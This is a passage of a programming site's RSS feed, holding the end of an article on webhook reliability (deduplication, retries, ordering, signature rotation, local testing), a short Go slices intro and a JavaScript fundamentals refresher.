warehouse call, the loyalty points — the eleven seconds from the opening — happen in a worker,&lt;br&gt;
where nobody is waiting and a failure is yours to retry.&lt;/p&gt;
&lt;h4 id=&quot;deduplicate-on-the-event-id&quot;&gt;Deduplicate on the event id&lt;/h4&gt;
&lt;p&gt;A sender that retries will eventually deliver something twice. The spec says &lt;code&gt;webhook-id&lt;/code&gt;&lt;br&gt;
&quot;remains the same no matter how many times a webhook that has failed is retried&quot;, and tells&lt;br&gt;
receivers to use it as an idempotency key. Other providers have their own: &lt;code&gt;X-GitHub-Delivery&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;X-Shopify-Webhook-Id&lt;/code&gt;, the event's &lt;code&gt;id&lt;/code&gt; at Stripe. The robust version is a unique constraint and&lt;br&gt;
an insert that is allowed to do nothing:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def accept(conn, msg_id: str, raw_body: bytes) -&amp;gt; bool:
    &quot;&quot;&quot;Stores the event once. Returns False if this id was already accepted.&quot;&quot;&quot;
    cursor = conn.execute(
        &quot;INSERT INTO received_webhooks (msg_id, body) VALUES (%s, %s) &quot;
        &quot;ON CONFLICT (msg_id) DO NOTHING&quot;,
        (msg_id, raw_body),
    )
    return cursor.rowcount == 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A duplicate still gets a &lt;code&gt;200&lt;/code&gt;. You have it already, and an error would only make the sender try&lt;br&gt;
again.&lt;/p&gt;
&lt;h4 id=&quot;never-assume-order&quot;&gt;Never assume order&lt;/h4&gt;
&lt;p&gt;Unless a sender explicitly promises ordering, assume there is none. Stripe says outright that it&lt;br&gt;
&quot;doesn't guarantee the delivery of events in the order that they're generated&quot;. Failure four below&lt;br&gt;
is what to do about it.&lt;/p&gt;
&lt;h3 id=&quot;six-ways-webhooks-break-in-production&quot;&gt;Six ways webhooks break in production&lt;/h3&gt;
&lt;h4 id=&quot;1-your-endpoint-is-down-who-retries-and-for-how-long-&quot;&gt;1. Your endpoint is down: who retries, and for how long?&lt;/h4&gt;
&lt;p&gt;A deploy, a crashed pod, an expired certificate. The sender gets a connection error or a &lt;code&gt;5xx&lt;/code&gt;,&lt;br&gt;
and what happens next is entirely its policy. Good senders retry with exponential back-off — each&lt;br&gt;
wait longer than the last, with random jitter so a backlog of retries does not land in the same&lt;br&gt;
second. The Standard Webhooks spec's example schedule starts immediately and runs for more than&lt;br&gt;
three days.&lt;/p&gt;
&lt;p&gt;Not every sender retries. GitHub &quot;does not automatically redeliver failed webhook deliveries&quot;&lt;br&gt;
(&lt;a rel=&quot;nofollow&quot; href=&quot;https://docs.github.com/en/webhooks/using-webhooks/handling-failed-webhook-deliveries&quot;&gt;GitHub&lt;/a&gt;);&lt;br&gt;
you redeliver by hand or through its API. Our&lt;br&gt;
&lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/blog/stripe-github-shopify-when-your-endpoint-is-down&quot;&gt;comparison of Stripe, GitHub and Shopify&lt;/a&gt;&lt;br&gt;
puts three real policies side by side.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; know each sender's retry schedule before the outage, and never return &lt;code&gt;2xx&lt;/code&gt; for an&lt;br&gt;
event you have not stored — a &lt;code&gt;200&lt;/code&gt; is a promise that you have it.&lt;/p&gt;
&lt;h4 id=&quot;2-your-endpoint-is-slow-a-timeout-is-a-retry-you-asked-for&quot;&gt;2. Your endpoint is slow: a timeout is a retry you asked for&lt;/h4&gt;
&lt;p&gt;A timeout looks like downtime to the sender, with one nasty difference: your handler may have&lt;br&gt;
finished the work. That is the opening story. A slow endpoint converts directly into duplicate&lt;br&gt;
processing, and it gets slower under load — exactly when a burst of retries arrives.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; acknowledge inside the budget, whatever the work costs. If you do not know your&lt;br&gt;
handler's 99th-percentile latency, measure it before anything else.&lt;/p&gt;
&lt;h4 id=&quot;3-the-same-event-arrives-twice&quot;&gt;3. The same event arrives twice&lt;/h4&gt;
&lt;p&gt;Duplicates come from retries after a lost response, from redeliveries someone triggered by hand,&lt;br&gt;
and from the sender itself. Stripe's docs say so in one sentence: &quot;Webhook endpoints might&lt;br&gt;
occasionally receive the same event more than once.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; check the id before any side effect, in the same transaction that records the event.&lt;br&gt;
A check in memory, or one after the email has gone, is not a check.&lt;/p&gt;
&lt;h4 id=&quot;4-events-arrive-out-of-order&quot;&gt;4. Events arrive out of order&lt;/h4&gt;
&lt;p&gt;An &lt;code&gt;order.created&lt;/code&gt; whose first attempt failed can arrive after the &lt;code&gt;order.updated&lt;/code&gt; and&lt;br&gt;
&lt;code&gt;order.cancelled&lt;/code&gt; that followed it. Apply them in arrival order and a cancelled order comes back&lt;br&gt;
to life.&lt;/p&gt;
&lt;p&gt;Compare a version or an &lt;code&gt;updated_at&lt;/code&gt; on the resource and ignore anything older than what you&lt;br&gt;
hold — or treat the webhook as a nudge and fetch the current state from the sender's API. Be wary&lt;br&gt;
of the event timestamp as a tiebreaker: Stripe notes its events record &lt;code&gt;created&lt;/code&gt; in seconds, so&lt;br&gt;
distinct events can share one.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; every handler must produce the right state whatever order its events arrive in.&lt;/p&gt;
&lt;h4 id=&quot;5-signatures-suddenly-stop-verifying&quot;&gt;5. Signatures suddenly stop verifying&lt;/h4&gt;
&lt;p&gt;This arrives as a wall of &lt;code&gt;400&lt;/code&gt;s, and the cause is nearly always one of five:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The body was parsed and re-serialised before verification.&lt;/li&gt;
&lt;li&gt;The wrong secret: test instead of live, or another endpoint's.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;whsec_&lt;/code&gt; secret used as a literal string instead of decoded.&lt;/li&gt;
&lt;li&gt;A drifting server clock, so every timestamp looks stale.&lt;/li&gt;
&lt;li&gt;A secret rotated with no overlap.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The last one is an outage you schedule yourself. If the old secret dies the instant a new one is&lt;br&gt;
issued, every request between that moment and your deploy fails. Senders avoid it by signing with&lt;br&gt;
both secrets for a while: the spec describes exactly this, and Stripe keeps the previous secret&lt;br&gt;
valid for up to 24 hours, with one signature per active secret.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; accept any valid &lt;code&gt;v1&lt;/code&gt; in the header, deploy the new secret inside the overlap, and log&lt;br&gt;
&lt;em&gt;why&lt;/em&gt; verification failed — stale timestamp, no matching signature, missing header — never a bare&lt;br&gt;
&lt;code&gt;400&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&quot;6-events-stop-and-nobody-notices&quot;&gt;6. Events stop, and nobody notices&lt;/h4&gt;
&lt;p&gt;The quietest failure is the worst. The sender exhausts its retries and gives up. A subscription is&lt;br&gt;
disabled after repeated failures — Shopify removes it&lt;br&gt;
(&lt;a rel=&quot;nofollow&quot; href=&quot;https://shopify.dev/docs/apps/build/webhooks/troubleshooting-webhooks&quot;&gt;Shopify&lt;/a&gt;). Or your own&lt;br&gt;
handler catches an exception, logs it at &lt;code&gt;debug&lt;/code&gt; and returns &lt;code&gt;200&lt;/code&gt;. From then on nothing errors;&lt;br&gt;
events just stop, and the first symptom is a customer asking where their order went.&lt;/p&gt;
&lt;p&gt;The defence is a delivery log on whichever side you control:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;Record &lt;/th&gt;&lt;th&gt;Why you will want it&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Event id and type &lt;/td&gt;&lt;td&gt;To find one event, and to prove it was a duplicate&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Every attempt: time, status, latency &lt;/td&gt;&lt;td&gt;To tell &quot;down&quot; from &quot;slow&quot; from &quot;rejected&quot;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;The response body, truncated &lt;/td&gt;&lt;td&gt;Most failures explain themselves there&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Final outcome &lt;/td&gt;&lt;td&gt;To count what was abandoned, not just what failed once&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; alert on the failure rate &lt;em&gt;and&lt;/em&gt; on silence. An endpoint that received a thousand&lt;br&gt;
events an hour yesterday and none today is not healthy just because nothing is failing.&lt;/p&gt;
&lt;h3 id=&quot;testing-webhooks-locally&quot;&gt;Testing webhooks locally&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;See what arrives.&lt;/strong&gt; A request bin is a throwaway URL that records every request sent to it. Our&lt;br&gt;
free &lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/tester&quot;&gt;webhook tester&lt;/a&gt; is one, keeping the latest hundred requests for 24 hours: point a&lt;br&gt;
provider at it and read the real headers and body before you write a handler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reach your laptop.&lt;/strong&gt; A tunnel gives &lt;code&gt;localhost&lt;/code&gt; a public HTTPS URL. Stripe's docs suggest ngrok,&lt;br&gt;
and its CLI forwards events with &lt;code&gt;stripe listen --forward-to localhost:4242/webhook&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Replay real payloads.&lt;/strong&gt; A captured body and its headers are a test fixture that is exactly what&lt;br&gt;
production sends:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -X POST http://localhost:3000/webhooks/orders \
  -H 'Content-Type: application/json' \
  -H 'webhook-id: msg_2mQ8hZk3Xv9aR1cT' \
  -H &quot;webhook-timestamp: $(date +%s)&quot; \
  -H &quot;webhook-signature: v1,$SIGNATURE&quot; \
  --data-binary @order-created.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--data-binary&lt;/code&gt; sends the file byte for byte; plain &lt;code&gt;-d&lt;/code&gt; strips newlines and changes the&lt;br&gt;
signature. A replay needs a fresh timestamp and so a fresh signature — the replay window doing its&lt;br&gt;
job. When a signature will not verify, the &lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/tools/webhook-signature&quot;&gt;signature verifier&lt;/a&gt; checks&lt;br&gt;
body, secret and header in your browser without sending them anywhere.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Break it on purpose.&lt;/strong&gt; Return &lt;code&gt;500&lt;/code&gt; and watch the retries arrive. Sleep past the timeout. Send&lt;br&gt;
the same payload twice. Send &lt;code&gt;order.updated&lt;/code&gt; before &lt;code&gt;order.created&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;build-it-yourself-or-put-a-gateway-in-front-&quot;&gt;Build it yourself, or put a gateway in front?&lt;/h3&gt;
&lt;p&gt;For one sender and one receiver, build it: verification, a table of seen ids and a queue are a&lt;br&gt;
day's work, and the code above is most of it.&lt;/p&gt;
&lt;p&gt;It gets harder as the edges multiply. Sending webhooks to your own customers means storing every&lt;br&gt;
event before the first attempt, a retry scheduler that survives restarts, isolation so one slow&lt;br&gt;
customer does not delay the rest, a delivery log they can read, replay and secret rotation.&lt;br&gt;
Receiving from several providers means several signing schemes and retry policies. None of it is&lt;br&gt;
exotic, but it is a system. A gateway is that system already built — at the price of one more&lt;br&gt;
component that must stay up and that holds your signing secrets.&lt;/p&gt;
&lt;h4 id=&quot;how-railhook-handles-it&quot;&gt;How Railhook handles it&lt;/h4&gt;
&lt;p&gt;Railhook is an open-source webhook gateway, MIT-licensed; these are its defaults. Outgoing&lt;br&gt;
webhooks are stored before the first attempt and attempted up to seven times, waiting one minute,&lt;br&gt;
five minutes, fifteen minutes, one hour, six hours and twenty-four hours — about thirty-one hours&lt;br&gt;
in all, each wait jittered between half and one and a half times its tier. Webhooks it relays&lt;br&gt;
onward for you get a shorter ladder of five attempts. By default every delivery carries the&lt;br&gt;
Standard Webhooks headers shown above, and after a secret rotation both secrets sign for a 24-hour&lt;br&gt;
grace window. Every attempt is logged with its status code and response, and any stored event can&lt;br&gt;
be replayed. &lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/docs/&quot;&gt;The docs&lt;/a&gt; have the details.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Provider behaviour quoted above was read from each provider's own documentation on the date at the&lt;br&gt;
top of this article. These policies change; follow the links before you build on a number.&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Originally published on the &lt;a rel=&quot;nofollow&quot; href=&quot;https://railhook.io/blog/what-is-a-webhook&quot;&gt;Railhook blog&lt;/a&gt;. Railhook is an open-source webhook gateway — send and receive, MIT, self-host with one command: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/vadymkykalo/railhook&quot;&gt;github.com/vadymkykalo/railhook&lt;/a&gt;.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28468/what-is-a-webhook-how-webhooks-work-and-the-six-ways-they-break-in-production</guid>
<pubDate>Thu, 24 Sep 2026 11:58:53 +0000</pubDate>
</item>
<item>
<title>Slices Beyond the Basics</title>
<link>https://coderlegion.com/28246/slices-beyond-the-basics</link>
<description>&lt;h4 id=&quot;hey-techie-&quot;&gt;Hey Techie!&lt;/h4&gt;
&lt;p&gt;Welcome to my Go series! I'll be sharing what I'm learning in ways that make sense to me, the mistakes I make and the &quot;aha!&quot; moments that help everything click. Whether you're learning Go too or just curious about it, I hope you'll pick up something along the way.&lt;/p&gt;
&lt;p&gt;Feel free to add any insights or experiences in the comments.&lt;/p&gt;
&lt;p&gt;Today's topic is... &lt;em&gt;drumroll, please!&lt;/em&gt; &lt;strong&gt;Slices&lt;/strong&gt;. Let's dive in!&lt;/p&gt;
&lt;h3 id=&quot;so-what-exactly-is-a-slice-&quot;&gt;So, what exactly is a slice?&lt;/h3&gt;
&lt;p&gt;When I first came across slices in Go, I thought they were another name for arrays. Turns out, they're not!&lt;/p&gt;
&lt;p&gt;A slice is a dynamic view into an underlying array. It is internally represented by a small data structure called a &lt;strong&gt;slice header&lt;/strong&gt;. Instead of storing the elements themselves, the slice header stores a &lt;strong&gt;pointer&lt;/strong&gt; to the underlying array, along with its &lt;strong&gt;length&lt;/strong&gt; and &lt;strong&gt;capacity&lt;/strong&gt;. This realization helped me understand why modifying a slice can also modify the original array.&lt;/p&gt;
&lt;p&gt;Another interesting and convenient thing is how flexible slices are compared to arrays which are fixed size. Slices can grow using functions like &lt;strong&gt;append()&lt;/strong&gt; or be resliced to work with a smaller portion of the underlying array. This flexibility is one of the reasons slices are used so frequently in Go.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;A little heads up, I used AI to clean up my grammar and typos. The technical ideas and thoughts in this article are 100% my own.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28246/slices-beyond-the-basics</guid>
<pubDate>Wed, 23 Sep 2026 04:14:36 +0000</pubDate>
</item>
<item>
<title>The Joy of Learning the Basics Again</title>
<link>https://coderlegion.com/28039/the-joy-of-learning-the-basics-again</link>
<description>&lt;p&gt;I’ve been revisiting JavaScript recently.&lt;/p&gt;
&lt;p&gt;Not because I’ve never used it before, but because I realised there were a lot of things I could recognise when I saw them in code without feeling fully confident that I understood them properly.&lt;/p&gt;
&lt;p&gt;That distinction started bothering me.&lt;/p&gt;
&lt;p&gt;I could read JavaScript.&lt;/p&gt;
&lt;p&gt;I could follow what was happening.&lt;/p&gt;
&lt;p&gt;But being able to look at code and understand it is not always the same as being able to sit down with a blank file and write it confidently yourself.&lt;/p&gt;
&lt;p&gt;So I decided to go back to the basics.&lt;/p&gt;
&lt;p&gt;And weirdly enough, I’ve been enjoying it a lot more than I expected.&lt;/p&gt;
&lt;p&gt;There’s something satisfying about revisiting something familiar and realising you understand it differently the second time around.&lt;/p&gt;
&lt;h3 id=&quot;starting-from-the-beginning-again&quot;&gt;Starting from the beginning again&lt;/h3&gt;
&lt;p&gt;I started with things like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const userName = &quot;Sabi&quot;;
const role = &quot;admin&quot;;
let postCount = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Very basic stuff.&lt;/p&gt;
&lt;p&gt;At first, part of me wanted to rush through it because I already knew what &lt;code&gt;const&lt;/code&gt; and &lt;code&gt;let&lt;/code&gt; were.&lt;/p&gt;
&lt;p&gt;But slowing down actually helped.&lt;/p&gt;
&lt;p&gt;Instead of just remembering that &lt;code&gt;let&lt;/code&gt; can be reassigned and &lt;code&gt;const&lt;/code&gt; cannot, I started thinking more deliberately about why I would choose one over the other.&lt;/p&gt;
&lt;p&gt;That set the tone for the rest of the refresher.&lt;/p&gt;
&lt;p&gt;I wasn’t just trying to remember syntax.&lt;/p&gt;
&lt;p&gt;I wanted the concepts to actually make sense.&lt;/p&gt;
&lt;h3 id=&quot;functions-exposed-a-few-gaps&quot;&gt;Functions exposed a few gaps&lt;/h3&gt;
&lt;p&gt;Functions were another area where I thought I was already comfortable.&lt;/p&gt;
&lt;p&gt;Then I started paying more attention to the smaller details.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function checkAccess(role) {
    return role === &quot;admin&quot;;
}

checkAccess(&quot;admin&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;role&lt;/code&gt; is the parameter.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&quot;admin&quot;&lt;/code&gt; is the argument.&lt;/p&gt;
&lt;p&gt;Simple distinction, but it reminded me how easy it is to skip over small concepts because you’ve seen them so many times.&lt;/p&gt;
&lt;p&gt;Those gaps add up.&lt;/p&gt;
&lt;h3 id=&quot;arrays-were-where-things-started-getting-more-interesting&quot;&gt;Arrays were where things started getting more interesting&lt;/h3&gt;
&lt;p&gt;I revisited arrays and loops, then moved into:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;map()
filter()
find()
some()
every()
reduce()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are methods I’ve seen and used before, but going through them one by one made the differences much clearer.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const users = [
    { name: &quot;Sabi&quot;, role: &quot;admin&quot; },
    { name: &quot;Kong&quot;, role: &quot;member&quot; },
    { name: &quot;Vandal&quot;, role: &quot;member&quot; }
];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get all admins:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const admins = users.filter(
    (user) =&amp;gt; user.role === &quot;admin&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get one particular user:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const user = users.find(
    (user) =&amp;gt; user.name === &quot;Vandal&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Same array.&lt;/p&gt;
&lt;p&gt;Different intention.&lt;/p&gt;
&lt;p&gt;That sounds obvious, but writing these things myself made them stick much better than just reading examples.&lt;/p&gt;
&lt;h3 id=&quot;i-had-been-using-callbacks-without-really-thinking-about-them&quot;&gt;I had been using callbacks without really thinking about them&lt;/h3&gt;
&lt;p&gt;This was one of the more useful moments.&lt;/p&gt;
&lt;p&gt;Something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;users.filter((user) =&amp;gt; user.role === &quot;admin&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;looks completely normal.&lt;/p&gt;
&lt;p&gt;But that function inside &lt;code&gt;filter()&lt;/code&gt; is a callback.&lt;/p&gt;
&lt;p&gt;When I recreated the idea manually:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function welcomeUser(name) {
    console.log(`Welcome, ${name}`);
}

function welcomeUsers(users, callback) {
    for (let i = 0; i &amp;lt; users.length; i++) {
        callback(users[i]);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;it clicked more clearly.&lt;/p&gt;
&lt;p&gt;A callback stopped sounding like some special JavaScript concept.&lt;/p&gt;
&lt;p&gt;It was just a function being passed into another function so it could be called later.&lt;/p&gt;
&lt;p&gt;Sometimes understanding something is really just removing the fancy name from it.&lt;/p&gt;
&lt;h3 id=&quot;destructuring-finally-stopped-feeling-like-magic&quot;&gt;Destructuring finally stopped feeling like magic&lt;/h3&gt;
&lt;p&gt;I’ve used destructuring plenty of times before:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const { name, role } = user;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const [firstUser, secondUser] = users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But during the refresher, I actually made a mistake and tried to destructure an array using &lt;code&gt;{}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;That was useful.&lt;/p&gt;
&lt;p&gt;It forced me to think about what JavaScript was actually doing.&lt;/p&gt;
&lt;p&gt;Objects:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const { name, role } = user;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Arrays:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const [firstUser, secondUser] = users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Objects are matched by property name.&lt;/p&gt;
&lt;p&gt;Arrays are matched by position.&lt;/p&gt;
&lt;p&gt;That mistake probably taught me more than just reading the correct syntax would have.&lt;/p&gt;
&lt;h3 id=&quot;spread-and-rest-made-more-sense-this-time&quot;&gt;Spread and rest made more sense this time&lt;/h3&gt;
&lt;p&gt;Then came spread:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const updatedUsers = [...users, &quot;Efo&quot;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const updatedUser = {
    ...user,
    role: &quot;admin&quot;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’d seen this syntax countless times before.&lt;/p&gt;
&lt;p&gt;But revisiting it properly made the logic much clearer.&lt;/p&gt;
&lt;p&gt;Spread takes existing values and spreads them into a new structure.&lt;/p&gt;
&lt;p&gt;Rest uses the same &lt;code&gt;...&lt;/code&gt; but collects values:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;function addUsers(...users) {
    return users;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The way I remember it now is:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Spread = spread things out

Rest = gather things together
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simple, but it works.&lt;/p&gt;
&lt;h3 id=&quot;async-javascript-was-probably-the-most-important-part&quot;&gt;Async JavaScript was probably the most important part&lt;/h3&gt;
&lt;p&gt;Promises and &lt;code&gt;async/await&lt;/code&gt; were where the refresher became much more valuable.&lt;/p&gt;
&lt;p&gt;I created a Promise like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const getUsers = new Promise((resolve, reject) =&amp;gt; {
    setTimeout(() =&amp;gt; {
        resolve([
            { name: &quot;Sabi&quot;, role: &quot;admin&quot; },
            { name: &quot;Kong&quot;, role: &quot;member&quot; }
        ]);
    }, 5000);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then worked with &lt;code&gt;.then()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;getUsers
    .then((users) =&amp;gt; {
        return users.filter(
            (user) =&amp;gt; user.role === &quot;member&quot;
        );
    })
    .then((members) =&amp;gt; {
        return members.map(
            (member) =&amp;gt; member.name
        );
    })
    .then((names) =&amp;gt; {
        console.log(names);
    });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One thing that stood out here was the difference between logging and returning.&lt;/p&gt;
&lt;p&gt;This:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;console.log(users);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;shows me something.&lt;/p&gt;
&lt;p&gt;This:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;return users;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;passes the value forward so another part of the program can use it.&lt;/p&gt;
&lt;p&gt;I knew that already in isolation, but Promise chaining made the difference feel much more important.&lt;/p&gt;
&lt;h3 id=&quot;async-await-made-everything-easier-to-reason-about&quot;&gt;&lt;code&gt;async/await&lt;/code&gt; made everything easier to reason about&lt;/h3&gt;
&lt;p&gt;Once I moved from &lt;code&gt;.then()&lt;/code&gt; to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;async function showUsers() {
    try {
        const users = await getUsers;

        const members = users.filter(
            (user) =&amp;gt; user.role === &quot;member&quot;
        );

        const names = members.map(
            (member) =&amp;gt; member.name
        );

        console.log(names);
    } catch (error) {
        console.log(error.message);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the flow became much easier to read.&lt;/p&gt;
&lt;p&gt;I also finally got a stronger understanding of what &lt;code&gt;await&lt;/code&gt; actually does.&lt;/p&gt;
&lt;p&gt;It pauses the current async function.&lt;/p&gt;
&lt;p&gt;It does not pause the entire JavaScript program.&lt;/p&gt;
&lt;p&gt;That distinction made async code feel a lot less mysterious.&lt;/p&gt;
&lt;h3 id=&quot;fetch-tied-everything-together&quot;&gt;Fetch tied everything together&lt;/h3&gt;
&lt;p&gt;Then I moved into &lt;code&gt;fetch()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const response = await fetch(
    &quot;https://jsonplaceholder.typicode.com/users&quot;
);

if (!response.ok) {
    throw new Error(&quot;Failed to fetch users&quot;);
}

const users = await response.json();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was probably the point where the refresher stopped feeling like a list of separate JavaScript topics.&lt;/p&gt;
&lt;p&gt;Suddenly everything connected:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;functions
↓
Promises
↓
async/await
↓
HTTP
↓
fetch
↓
JSON
↓
arrays
↓
map / filter / find
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That was one of the biggest things I took away from the whole process.&lt;/p&gt;
&lt;p&gt;The concepts make much more sense when they stop being separate chapters and start working together.&lt;/p&gt;
&lt;h3 id=&quot;modules-were-a-good-place-to-finish&quot;&gt;Modules were a good place to finish&lt;/h3&gt;
&lt;p&gt;The final part of the refresher was modules.&lt;/p&gt;
&lt;p&gt;I practised exporting functions:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export function findUser(users, name) {
    return users.find(
        (user) =&amp;gt; user.name === name
    );
}

export function getAdmins(users) {
    return users.filter(
        (user) =&amp;gt; user.role === &quot;admin&quot;
    );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and importing them somewhere else:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import {
    findUser,
    getAdmins
} from &quot;./users.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also revisited the difference between named exports and default exports.&lt;/p&gt;
&lt;p&gt;Named:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export function findUser() {}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { findUser } from &quot;./users.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Default:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;export default function UserProfile() {}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import UserProfile from &quot;./UserProfile.js&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is something I’ve seen constantly in modern JavaScript code, but going back to the fundamentals made it feel much less like framework magic.&lt;/p&gt;
&lt;h3 id=&quot;the-main-thing-i-realised&quot;&gt;The main thing I realised&lt;/h3&gt;
&lt;p&gt;The biggest takeaway from this refresher wasn’t any one JavaScript feature.&lt;/p&gt;
&lt;p&gt;It was realising how easy it is to confuse familiarity with understanding.&lt;/p&gt;
&lt;p&gt;You can see something a hundred times and still have gaps.&lt;/p&gt;
&lt;p&gt;You can recognise code without being able to write it confidently.&lt;/p&gt;
&lt;p&gt;You can use a pattern without fully understanding why it works.&lt;/p&gt;
&lt;p&gt;That was the whole reason I went back.&lt;/p&gt;
&lt;p&gt;Not to become a JavaScript expert before moving on.&lt;/p&gt;
&lt;p&gt;Just to make the foundation stronger.&lt;/p&gt;
&lt;p&gt;And somewhere along the way, I started enjoying the process more than I expected.&lt;/p&gt;
&lt;p&gt;There’s a different kind of confidence that comes from understanding the basics properly.&lt;/p&gt;
&lt;p&gt;Not the confidence of knowing everything.&lt;/p&gt;
